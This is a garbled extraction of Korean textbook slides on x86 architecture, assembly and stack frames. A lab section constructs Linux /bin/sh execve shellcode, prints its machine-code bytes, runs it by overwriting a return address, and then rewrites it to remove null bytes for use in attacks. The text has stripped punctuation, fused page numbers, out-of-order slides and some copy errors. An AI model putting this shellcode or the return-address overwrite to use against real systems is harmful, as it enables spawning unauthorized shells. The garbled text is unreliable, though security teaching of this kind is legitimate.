functionpushl ebp ➐movl espebp ➑subl $12esp ➒movl 12(ebp)eax ➓addl eax8(ebp) 1056934movl 8(ebp)edx 1056934movl edxeax 1056934jmp L2 1056934p2align 47

L2leave 1056934ret 1056934

Lfe2size functionLfe2-functionident GCC (GNU) egcs-29166 19990314Linux (egcs-112

release)

19

20

21

11

1213

14

15

16

64108

셀 기본 코드 분석➊ pushl ebp 최초의 프레임 포인터 (ebp) 값 스택에 저장

ebp 바로 전에 ret 가 저장 ebp 는 함수 시작 전의 기준점이 된다 스택에 저장된 ebp 를 SFP(Saved Frame Pointer) 라고 부른다

ret(returnaddress) 에는 함수 종료시 점프할 주소값 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

2

65108

➋ movl esp ebp 현재의 esp 값을 EBP 레지스터에 저장 push ebp 와 esp ebp 는 새로운 함수를 시작할 때

항상 똑같이 수행하는 명령으로 프롤로그 (Prologue) 라고 부른다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

66108

➌ subl $4 esp 스택에 4 바이트만큼의 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

67108

➍ pushl $2 ➍sim➏ 세 단계는 function(1 2) 에 대한 코드다

➎ pushl $1

➏ call function

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

68108

➐ pushl ebp 현재 레지스터의 ebp 값을 스택에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

69108

➑ movl espebp function(1 2) 의 시작에서도 pushl ebp 명령과 movlespebp 이 실행되었다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

70108

➒ subl $12esp char buffer[10] 할당 스택에 12 바이트만큼 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

71108

➓ movl 12(ebp)eax ebp 에 12바이트를 더한 주소 값의 내용 ( 정수 2) 을 eax 값에 복사

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

72108

addl eax8(ebp) ebp 에 8 바이트를 더한 주소 값의 내용 ( 정수 1) 에 eax( 단계 10 에서 2 로 저장됨 ) 값을 더한다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

11

73108

movl 8(ebp)edx ebp 에 8 바이트 더한 주소 값의 내용 ( 정수 3) 을 edx 에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

12

74108

movl edxeax edx 에 저장된 정수 3 을 eax 로 복사 jmp L1 L1 로 점프한다

leave 함수를 끝낸다

ret function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값 ([ 그림 2-27] 에서 저장된 최초 ebp 값 ) 으로 EBP 레지스터 값 변경 addl $8esp esp 에 8 바이트를 더한다 movl eaxeax eax 값을 eax 로 복사 movl eax-4(ebp) ebp 에서 4 바이트를 뺀 주소 값 (int c) 에 eax 값을 복사 leave

ret

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

13

14

15

16

17

18

19

20

21

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 11: 80×86  시스템에 대한 이해

11108

범용 레지스터bull EAX 레지스터 누산기 입출력과 대부분 산술 연산에 사용bull EBX 레지스터 DS 세그먼트에 대한 포인터를 주로 저장 ESI 나 EDI 와 결합하여 인덱스에 사용bull ECX 레지스터 루프가 반복되는 횟수를 제어하는 값 왼쪽이나 오른쪽으로 이동되는 비트 수 등을 포함bull EDX 레지스터 입출력 연산에 사용 큰 수의 곱셈과 나눗셈 연산에서 EAX와 함께 사용

80times86 시스템 CPU 의 구조와 레지스터

12108

세그먼트 레지스터 프로그램에 정의된 메모리상의 특정 영역

코드 데이터 스택 등을 포함

CS DS SS 3 개의 레지스터가 기본 ES FS GS 레지스터는 여분

bull CS 레지스터 기계 명령을 포함 코드세그먼트의 시작 주소를 가리킴

bull DS 레지스터 프로그램에 정의된 데이터 상수 작업 영역을 포함

데이터 세그먼트의 시작 주소를 가리킴

데이터의 오프셋을 DS 레지스터에 저장된 주소 값에 더해 데이터 세그먼트 내에 위치해 있는 데이터의 주소를 참조

bull SS 레지스터 실행 과정에서 필요한 데이터나 연산 결과 등을 임시로 저장하거나 삭제할 때 사용 스택 세그먼트의 시작 주소를 가리킨다

bull ES FS GS 레지스터 ES 레지스터는 추가로 사용된 데이터 세그먼트의 주소를 가리킴

FS 와 GS 레지스터도 목적은 이와 비슷 거의 사용되지 않음

80times86 시스템 CPU 의 구조와 레지스터

13108

포인트 레지스터 프로그램 실행 과정에서 사용되는 주요 메모리 주소값을 저장

EBP ESP EIP 가 있다

bull EBP 레지스터 스택 세그먼트에서 현재 호출되어 사용되는 함수의 시작 주소 값 저장

함수로 전달되는 지역변수 등을 참조할 때 기준 ESP 레지스터와 함께

사용되어 스택 프레임 (stack frame) 을 형성 실제 메모리상의 주소를 참조할 때

SS(Stack Segment) 레지스터와 함께 사용 bull ESP 레지스터 현재 스택 영역에서 가장 하위 주소를 저장 EBP 와 마찬가지로 실제

메모리상의 주소를 참조할 때 SS(Stack Segment) 레지스터와 함께 사용 bull EIP 레지스터 다음에 실행될 명령의 오프셋을 포함 CS(Code Segment) 레지스터와 함께

사용

인덱스 레지스터bull ESI amp EDI 메모리의 한 영역 (Souce) 에서 다른 영역 (Destination) 으로 데이터를

연속적으로 복사할 때 사용

80times86 시스템 CPU 의 구조와 레지스터

14108

플래그 레지스터 32 비트로 컴퓨터의 다양한 상태를 나타내는 비트 포함

상태 플래그 제어 플래그 시스템 플래그로 구성

bull 상태 플래그 산술 명령 (ADD SUB MUL DIV) 결과를 반영

- CF(Carry Flag 비트 0) 산술 연산 결과로 자리올림 자리내림 발생할 때 세트 (1)

- ZF(Zero Flag 비트 6) 산술 연산 결과 0 이면 세트 (1) 이외에는 클리어 (0)

- OF(Overflow Flag 비트 11) 부호가 있는 수의 오버플로우가 발생하거나

MSB(MostSignificant Bit) 가 변경되었을 때 세트

80times86 시스템 CPU 의 구조와 레지스터

15108

플래그 레지스터bull 제어 플래그 (Control Flag) 스트링 명령 (MOVS CMPS SCAS LODS STOS) 을 제

어 DF 가 1 이면 스트링 명령 자동 감소 0 이면 자동 증가 STDCLD 명령은 각각 DF 플래그를 세트 (1) 클리어 (0)bull 시스템 플래그 (System Flag) - TF(Trap Flag 비트 8) 디버깅 시lsquoSingle Step Modersquo 모드를 활성화하면 세트 - IF(Interrupt enable Flag 비트 9) 프로세서의 인터럽트 처리 여부를 제어 - IOPL(IO Privilege Level 비트 1213) 현재 실행되는 프로그램 태스크의 입출력 특권 레벨 지시 - NT(Nested Task flag 비트 14) 인터럽트되거나 호출된 태스크를 제어 - RF(Resume Flag 비트 16) 프로세서의 디버그 예외 반응을 제어 - VM(Virtual 8086 Mode flag 비트 17) V86 모드를 활성화하면 세트 - AC(Alignment Check 비트 18) 메모리 참조 시 정렬 기능을 활성화하면 세트 - VIF(Virtual Interrupt Flag 비트 19) VIP(Virtual Interrupt Pending 비트 20)

가상 모드 확장과 관련해 사용 - ID(IDentification 비트 21) CPUID 명령의 지원 유무를 결정

80times86 시스템 CPU 의 구조와 레지스터

16108

메모리의 기본 구조

스택 후입선출 (LIFO Last-In First Out) 방식에 의해 정보를 관리

Top 이라고 불리는 스택의 끝부분에서 데이터의 삽입과 삭제가 발생

가장 나중에 삽입된 정보가 가장 먼저 읽힘

80times86 시스템의 메모리

17108

메모리의 기본 구조

힙 프로그램의 실행 중 필요한 기억 장소를 할당하기 위해 운영체제에 예약되어 있는

기억 장소영역 데이터를 저장하기 위해 기억 장소를 요청하면 운영체제는 힙에

존재하는 기억 장소를 프로그램에 할당 기억 장치가 더 이상 필요 없으면 할당

받았던 기억 장소를 운영체제에 반납 운영체제에서는 반납된 기억 장소를 다시

힙에 돌려줌 힙에 대한 기억 장소는 포인터를 통해 동적으로 할당되거나 반환

연결 리스트 트리 그래프처럼 동적인 특성이 있는 데이터 구조에서 널리 사용

데이터 세그먼트 초기화된 외부 변수나 static 변수 등이 저장되는 영역

보통 텍스트 세그먼트 (Text segment) 와 데이터 세그먼트 영역을

합쳐 프로그램이라 한다

80times86 시스템의 메모리

18108

메모리의 기본 구조

BSS 세그먼트 초기화 되지 않은 데이터 세그먼트 (Uninitalized data segment) 라고

불리며 프로그램이 실행될 때 0 이나 NULL 포인터로 초기화

외부 변수나 static 변수중 초기화 되지 않은 변수들이 정의될 때 저장

데이터 세그먼트 CPU 에 의해 실행되는 머신 코드가 있는 영역

80times86 시스템의 메모리

19108

메모리 접근 모드와 동작

실제 모드 8086 CPU 에서 사용되던 동작 모드

20 비트 주소 버스 사용 위해 16 비트 레지스터 사용

총 1MB(220 =1048567) 의 메모리 사용 가능

20 비트 주소를 나타내기 위해 세그먼트 레지스터를 도입

[ 그림 2-8] 과 같이 16 비트의 세그먼트 레지스터와 16 비트의 오프셋을

중첩시킨 20 비트의 물리 주소를 생성

80times86 시스템의 메모리

20108

메모리 접근 모드와 동작 세그먼트 주소인 CS 레지스터가 0x2525h 오프셋인 IP 가 0x95F3h 면

0x2525h 뒤에

한 자리의 0x0h 를 붙여 95F3h 를 더한 2E843h 가 실제 가리키는 물리 주소가 됨

2525h 95F3h 또는 [CS]96F3h 로 표현 하나의 세그먼트에 64KB(216 =65536) 의

메모리 사용

[ 표 2-6] 세그먼트 레지스터별 기본

오프셋 레지스터

80times86 시스템의 메모리

세그먼트 레지스터 오프셋 레지스터

CS IP

DS SI DI BX

SS SP BP

ES SI DI BX

21108

메모리 접근 모드와 동작

보호 모드 80286 부터 도입된 보호 모드 (Protected Mode) 는 32 비트 CPU 80386 에

완성 32 비트 주소 버스를 통해 4GB 의 메모리를 사용 가능 메모리 보 호

기능과 페이징 (Paging) 등을 통해 가상 메모리를 효율적으로 구현

세그먼테이션 (Segmentation) 과 페이징 이용 메모리 관리 세그먼테이션은

4GB 의 메모리를 세그먼트 단위로 쪼갠 것으로 여기서는 16 비트의

셀렉터와 32 비트의 오프셋을 이용해 4GB 범위의 32 비트

선형 주소 (linear address) 를 만듬

80times86 시스템의 메모리

22108

어셈블리어의 구조 Intel 문법과 ATampT 문법이 있다 윈도우에서는 Intel 문법 사용 리눅스에서는 ATampT 문법 사용 Intel 문법에서는 목적지 (destination) 가 먼저 오고 원본 (source) 이 뒤에 위치 ATampT 에서는 반대 Intel 문법에서 어셈블리어의 명령 형식은 다음과 같다

어셈블리어의 기본 문법과 명령

Label MOV AX BX comment 라벨 작동 코드 제 1 피연산자 제 2 피연산자 설명

23108

어셈블리어의 데이터 타입과 리틀 엔디언 방식

데이터 타입bull 바이트 (Byte) 1 바이트 (8 비트 ) 데이터 항목bull 워드 (Word) 2바이트 (16 비트 ) 데이터 항목bull 더블워드 (Doubleword) 4바이트 (32 비트 ) 데이터 항목

어셈블리어의 기본 문법과 명령

24108

어셈블리어의 데이터 타입과 리틀 엔디언 방식

리틀 엔디언 방식 2 개의 번지로 나누어 저장해야 하는 16 비트 데이터 (워드 ) 의 경우

하위 바이트는 하위 번지에 상위 바이트는 상위 번지에 저장

예 ) hex 값 0x34F3을 1500 번지에 저장하려면 하위값 0xF3 은

1500 번지에 상위 값 0x34 는 1501번지에 저장

어셈블리어의 기본 문법과 명령

25108

어셈블리어의 주소 지정 방식 레지스터 주소 지정 레지스터의 주소 값을 직접 지정 복사 처리 속도 가장 빠름

직접 메모리 주소 지정 가장 일반적인 주소 지정 방식 보통 피연산자 하나가 메모리 위치를 참조하고 다른 하나는 레지스터를 참조

( 예 )DS[8088h] 와 DS[1234h] 는 각각lsquo세그멘트 오프셋rsquo형식의

메모리에 직접 접근하는 방식

어셈블리어의 기본 문법과 명령

MOV DX BX

MOV AL DS[8088h]MOV DS[1234h] DL

26108

레지스터 간접 주소 지정 lsquo 세그멘트 오프셋rsquo형식을 사용

다음과 같이 기본이 아닌 세그먼트를 강제로 지정 할 수도 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX] MOV AL [BP]

MOV AL CS[BX] MOV AL DS[BP]

27108

인덱스 주소 지정 레지스터 간접 지정 방식에 변위가 더해진 메모리 주소 지정 방식 ( 예 )20h 만큼 더해 메모리를 참조한 명령

다음과 같이 바꿔서 표현 할 수 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX+20h] MOV AL [BP+20h]

MOV AL 20h[BX] MOV AL 20h[BP]

28108

베이스 인덱스 주소 지정 실제 주소 생성 위해 베이스 레지스터 (BX 또는 BP) 와

인덱스 레지스터 (DI 또는 SI) 를 결합

2 차원 배열의 주소 지정에 사용

다음과 같이 바꿔서 표현 할 수 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX+SI] MOV AL [BP+SI]

MOV AL [BX][SI] MOV AL [BP][SI]

29108

변위를 갖는 베이스 인덱스 주소 지정 베이스 - 인덱스의 변형으로 실제 주소 생성 위해

베이스 레지스터 인덱스 레지스터 변위 결합

어셈블리어의 기본 문법과 명령

MOV AL [BX+SI+20h] MOV AL [BP+SI+20h]

30108

어셈블리어의 기본 명령 산술 연산 명령 기본적인 정수 계산

bull ADD(Add) 제 1 피연산자와 제 2 피연산자 값을 더한 결과 값을 제 1 피 연산자에 저장

bull SUB(Subtract) 제 1 피연산자에서 제 2 피연산자 값을 뺀 결과 값을 제 1 피연산자에 저장

bull CMP(Compare) 데이터의 두 값 비교 시 사용 lsquocmp a brsquo 의 경우 a 에서 b 를 뺀 값이0 이면 참

어셈블리어의 기본 문법과 명령

형식ADD [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

ADD AL 4

AL 이 원래 3이었다면 명령 실행 후 AL은 7이 된다

형식SUB [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

SUB AL 4

AL 이 원래 7이었다면 명령 실행 후 AL은 3이 된다

형식CMP [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

CMP AL 4

AL 이 원래 7이었다면 명령 실행 후 AL은 3이 된다

31108

어셈블리어의 기본 명령 기타 산술 연산 명령 [ 표 2-7] 기타 산술 연산 명령

어셈블리어의 기본 문법과 명령

명령 설명

ADC Add with Carry 캐리를 포함한 덧셈을 수행한다

SBB Subtraction with borrow 캐리를 포함한 뺄셈을 수행한다

DEC Decrement 피연산자 내용을 하나 감소시킨다

NEG Change Sign 피연산자의 2 의 보수 즉 부호를 반전한다

INC Increment 피연산자 내용을 하나 증가시킨다

AAA ASCII adjust for add덧셈 결과의 AL 값을 UNPACK 10진수로 보정한다

DAA Decimal adjust for add 덧셈 결과의 AL 값을 PACK 10진수로 보정한다

